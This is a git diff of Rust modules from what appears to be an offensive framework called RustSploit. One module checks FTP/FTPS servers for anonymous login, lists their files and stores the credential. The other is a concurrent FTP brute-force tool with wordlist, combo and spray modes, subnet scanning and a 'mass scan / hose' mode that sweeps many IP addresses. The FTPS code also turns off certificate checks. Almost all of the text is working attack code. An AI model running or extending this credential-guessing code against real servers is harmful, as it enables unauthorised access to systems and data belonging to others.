||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Server response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] SSL required response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] Timeout after {}s connecting to {}",
|
||||
DEFAULT_TIMEOUT_SECS, addr
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Fallback to FTPS
|
||||
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -90,13 +289,62 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
@@ -3,28 +3,37 @@ use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
net::IpAddr,
|
||||
time::Duration,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
load_lines, get_filename_in_current_dir
|
||||
cfg_prompt_default, cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines, load_lines_uncapped, file_size,
|
||||
STREAMING_THRESHOLD,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
parse_combo_mode, load_credential_file,
|
||||
run_bruteforce_streaming, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Brute Force".to_string(),
|
||||
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// FTP error classification for better handling
|
||||
/// FTP error classification for retry decisions.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
@@ -35,513 +44,313 @@ enum FtpErrorType {
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
/// Classify FTP error based on response message
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed (wrong credentials)
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect")
|
||||
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|
||||
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
|
||||
{
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
|
||||
// TLS required
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
|
||||
msg_lower.contains("ssl connection required") ||
|
||||
msg.contains("220 TLS go first") ||
|
||||
msg_lower.contains("must use tls") {
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|
||||
|| msg_lower.contains("ssl connection required")
|
||||
|| msg.contains("220 TLS go first")
|
||||
|| msg_lower.contains("must use tls")
|
||||
{
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
|
||||
// Connection limit exceeded
|
||||
if msg.contains("421") || msg_lower.contains("too many") ||
|
||||
msg_lower.contains("connection limit") {
|
||||
if msg.contains("421") || msg_lower.contains("too many")
|
||||
|| msg_lower.contains("connection limit")
|
||||
{
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
|
||||
// Connection failed
|
||||
if msg_lower.contains("connection refused") ||
|
||||
msg_lower.contains("no route to host") ||
|
||||
msg_lower.contains("network unreachable") ||
|
||||
msg_lower.contains("connection reset") {
|
||||
if msg_lower.contains("connection refused")
|
||||
|| msg_lower.contains("no route to host")
|
||||
|| msg_lower.contains("network unreachable")
|
||||
|| msg_lower.contains("connection reset")
|
||||
{
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
|
||||
Self::Unknown
|
||||
}
|
||||
|
||||
fn is_retryable(self) -> bool {
|
||||
matches!(self, Self::ConnectionFailed | Self::Unknown)
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display
|
||||
fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
/// Format IPv4 or IPv6 addresses with port for display.
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean_target = if target.starts_with('[') && target.ends_with(']') {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean_target.contains(':') {
|
||||
format!("[{}]:{}", clean_target, port)
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean_target, port)
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21").await?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist").await?;
|
||||
let passwords_file = prompt_required("Password wordlist").await?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500").await?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = std::sync::Arc::new(users);
|
||||
let pass_lines = std::sync::Arc::new(pass_lines);
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "FTP Bruteforce",
|
||||
default_port: 21,
|
||||
state_file: "ftp_brute_hose_state.log",
|
||||
default_output: "ftp_brute_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let pass_lines = pass_lines.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
for user in users.iter() {
|
||||
for pass in pass_lines.iter() {
|
||||
match try_ftp_login(&addr_str, &ip.to_string(), user, pass, false).await {
|
||||
Ok(true) => {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt").await?)
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ftp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
|
||||
|
||||
let display_addr = format_addr_for_display(target, port);
|
||||
let connect_addr = format_addr_for_display(target, port);
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", display_addr);
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for pass in &passes {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
let passes = if file_size(&passwords_file) > STREAMING_THRESHOLD {
|
||||
crate::mprintln!("{}", "[*] Large password file — will stream in batches".cyan());
|
||||
Vec::new()
|
||||
} else {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let target_clone = target.to_string();
|
||||
let display_addr_clone = display_addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
display_addr_clone.clone(),
|
||||
user.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
let p = load_lines_uncapped(&passwords_file)?;
|
||||
if p.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", p.len()).cyan());
|
||||
p
|
||||
};
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
let extra_combos = if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
load_credential_file(&cred_path)?
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
Vec::new()
|
||||
};
|
||||
let combo_mode = parse_combo_mode(&combo_input);
|
||||
let passwords_file_ref = passwords_file.clone();
|
||||
|
||||
// Capture verbose in the closure for try_ftp_login
|
||||
let target_owned = target.to_string();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addr = format_addr(&t, p);
|
||||
let verbose_flag = verbose;
|
||||
async move {
|
||||
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
drop(creds);
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
|
||||
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let prompt_msg = format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
);
|
||||
let fname = prompt_default(&prompt_msg, default_name).await?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
let result = run_bruteforce_streaming(&BruteforceConfig {
|
||||
target: target_owned,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
}, users, Some(&passwords_file_ref), passes, combo_mode, extra_combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(path) = save_path {
|
||||
result.save_to_file(&path)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
/// Try FTP login with FTPS fallback when TLS is required.
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
if verbose {
|
||||
println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
// Attempt plain FTP
|
||||
